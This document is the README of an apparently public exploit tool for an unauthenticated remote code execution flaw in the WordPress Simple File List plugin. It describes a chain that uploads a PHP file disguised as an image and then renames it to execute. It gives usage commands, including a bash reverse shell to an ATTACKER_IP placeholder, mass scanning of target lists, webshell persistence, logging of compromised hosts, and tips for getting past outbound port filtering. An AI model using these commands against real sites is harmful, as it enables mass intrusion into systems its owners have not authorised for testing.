## https://sploitus.com/exploit?id=7205E4D4-7E1C-50C1-B240-D2166DBC0C7C
# CVE-2025-34085 β WordPress Simple File List Unauthenticated RCE
An automated exploit for **CVE-2025-34085** (duplicate of **CVE-2020-36847**), a critical unauthenticated remote code execution vulnerability in the **WordPress Simple File List** plugin versions **β€ 4.2.2**.
> **Note:** CVE-2025-34085 was rejected by MITRE as a duplicate of CVE-2020-36847. The vulnerability is real and patched in version 4.2.3. Both CVE IDs refer to the same underlying issue.
## Vulnerability Summary
| Field | Detail |
|---|---|
| **CVE** | CVE-2025-34085 / CVE-2020-36847 |
| **Plugin** | [Simple File List](https://wordpress.org/plugins/simple-file-list/) |
| **Affected Versions** | β€ 4.2.2 |
| **Fixed Version** | 4.2.3 |
| **Type** | Unrestricted File Upload β Rename Bypass β RCE |
| **CVSS** | 9.8 (Critical) |
| **Authentication** | None required |
| **Original Discovery** | coiffeur |
| **Metasploit Module** | `exploit/multi/http/wp_simple_file_list_rce` |
## How It Works
1. **Upload** β A PHP payload is uploaded disguised as a `.png` file via the plugin's upload endpoint (`ee-upload-engine.php`). The upload engine validates extensions but accepts image files.
2. **Rename** β The plugin's rename functionality (`ee-file-engine.php`) does **not** enforce extension restrictions. The attacker renames the `.png` to `.php` (or `.phtml`, `.php5`, `.php3`).
3. **Execute** β The renamed PHP file is now accessible and executable in the uploads directory at `/wp-content/uploads/simple-file-list/`, giving the attacker arbitrary command execution.
## Requirements
```
pip install requests colorama
```
Python 3.6+
## Usage
### Single Target
```bash
python3 CVE-2025-34085.py -u http://target.com --cmd "id"
```
### Single Target with Inline Command (no `?cmd=` parameter)
```bash
python3 CVE-2025-34085.py -u http://target.com --cmd "bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1'" --inline
```
### Mass Scanning
Create a `targets.txt` file with one URL per line:
```
http://target1.com
http://target2.com
https://target3.com
```
```bash
python3 CVE-2025-34085.py --cmd "id"
```
### Arguments
| Argument | Description | Default |
|---|---|---|
| `-u`, `--url` | Single target URL | β |
| `--cmd` | Command to execute on the target | `id` |
| `--inline` | Inject command directly into the PHP shell (hardcoded, no `?cmd=` webshell) | `False` |
> **Tip:** Use `--inline` when you need a reverse shell or when the target has query string filtering. Without `--inline`, the exploit drops a webshell that accepts commands via `?cmd=`.
## Output
Successful exploits are logged to `vuln.txt`:
```
http://target.com | http://target.com/wp-content/uploads/simple-file-list/shell.php | uid=33(www-data) gid=33(www-data)
```
## OPSEC Notes for OSCP
- The exploit uploads a PHP file to disk β this **will** leave artifacts
- The webshell persists at `/wp-content/uploads/simple-file-list/<random>.php`
- Successful uploads are logged to `vuln.txt` locally β useful for your report
- For the exam, use `--inline` with a reverse shell to avoid leaving a persistent webshell with `?cmd=`
- If the target blocks outbound ports, try common allowed ports (80, 443, 53)
## References
- [NVD β CVE-2025-34085](https://nvd.nist.gov/vuln/detail/CVE-2025-34085)
- [NVD β CVE-2020-36847](https://nvd.nist.gov/vuln/detail/CVE-2020-36847)
- [Wordfence Advisory](https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/simple-file-list/simple-file-list-423-remote-code-execution)
- [Metasploit Module](https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/wp_simple_file_list_rce.rb)
- [Plugin Changelog (Patch)](https://plugins.trac.wordpress.org/changeset/2286920/simple-file-list)
- [Exploit-DB #48979](https://www.exploit-db.com/exploits/48979)
- [Original PoC by coiffeur β Exploit-DB #48349](https://www.exploit-db.com/exploits/48349)
## Remediation
Upgrade the Simple File List plugin to **version 4.2.3 or later**.
## Disclaimer
This tool is intended for **authorized penetration testing and educational purposes only**. Unauthorized access to computer systems is illegal. Always obtain proper authorization before testing.
## Credits
- **Original vulnerability discovery:** coiffeur
- **Original exploit script:** 0xgh057r3c0n, B1ack4sh (Ashwesker)
- **Maintained by:** [0xgunrunner](https://github.com/0xgunrunner)